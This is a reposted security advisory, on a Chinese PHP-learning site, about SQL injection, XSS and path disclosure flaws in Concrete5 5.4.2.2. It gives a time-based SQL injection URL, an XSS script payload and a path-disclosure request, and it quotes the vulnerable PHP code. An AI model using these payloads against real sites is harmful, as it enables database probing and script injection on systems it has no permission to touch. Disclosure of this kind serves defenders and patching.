网站地图    收藏   

主页 > 后端 > 网站安全 >

Concrete5 <= 5.4.2.2 SQL注射及XSS缺陷及修复 - 网站

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] 标题: Concrete5 = 5.4.2.2 SQL Injection and XSS Vulnerabilities作者: Ryan Dewhurst www.2cto.com下载地址http://sourceforge.net/projects/concretecms/files/concrete5/5.4.2.1/已测试版本: ......

 

标题: Concrete5 <= 5.4.2.2 SQL Injection and XSS Vulnerabilities

作者: Ryan Dewhurst www.2cto.com

下载地址http://sourceforge.net/projects/concretecms/files/concrete5/5.4.2.1/

已测试版本: 5.4.2.2

 

1.缺陷描述

 

Multiple SQL Injection, Cross-Site Scripting (XSS) and Information

Disclosure vulnerabilities were identified within Concrete5 version

5.4.2.2

 

请注意: Only a select few vulnerabilities are outlined in this

disclosure, many other vulnerabilities were discovered. Due to time

restraints only a small sample

of the vulnerabilities are outlined below. The vendor was contacted

and replied promptly. Further assistance was asked for but not

delivered due to my time constraints.

 

2.软件描述

 

CMS made for Marketing but built for Geeks, concrete5 [0] is a content

management system that is free and open source.

 

3.SQLi PoC [1] (authenticated user)

 

http://www.2cto.com /index.php/dashboard/reports/surveys/?ccm_order_by=numberOfResponses&ccm_order_dir=,(SELECT

BENCHMARK(1000000,MD5(1)) FROM btSurveyResults where CURRENT_USER()

like 'root@localhost' limit 1) --

 

4.缺陷代码

 

File: concrete/controllers/dashboard/reports/surveys.php

 

class SurveyList extends DatabaseItemList {

        protected $itemsPerPage = 10;

        protected $autoSortColumns = array('cvName', 'question',

'numberOfResponses', 'lastResponse');

 

        function __construct() {

                $this->setQuery(

                           'select distinct btSurvey.bID,

CollectionVersions.cID, btSurvey.question, CollectionVersions.cvName,

(select max(timestamp) from btSurveyResults where btSurveyResults.bID

= btSurvey.bID and btSurveyResults.cID = CollectionVersions.cID) as

lastResponse, (select count(timestamp) from btSurveyResults where

btSurveyResults.bID = btSurvey.bID and btSurveyResults.cID =

CollectionVersions.cID) as numberOfResponses ' .

                                'from btSurvey, CollectionVersions,

CollectionVersionBlocks');

                $this->filter(false, 'btSurvey.bID =

CollectionVersionBlocks.bID');

                $this->filter(false, 'CollectionVersions.cID =

CollectionVersionBlocks.cID');

                $this->filter(false, 'CollectionVersionBlocks.cvID =

CollectionVersionBlocks.cvID');

                $this->filter(false, 'CollectionVersions.cvIsApproved = 1');

                $this->userPostQuery .= 'group by btSurvey.bID,

CollectionVersions.cID';

        }

}

 

5.Cross-Site Scripting (XSS)

 

Page: http://www.2cto.com /concrete5.4.2/index.php/login/forgot_password/

Parameter: rcID

Method: POST

PoC: "><script>alert(1)</script>

 

6.缺陷代码

 

文件: concrete/single_pages/login.php:

 

<input type="hidden" name="rcID" value="<?php echo $rcID?>" />

 

7.Full Path Disclosure (FPD)

 

http://www.2cto.com /index.php/tools/blocks/page_list/blog_rss?bID=30&cID='&arHandle=Main

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论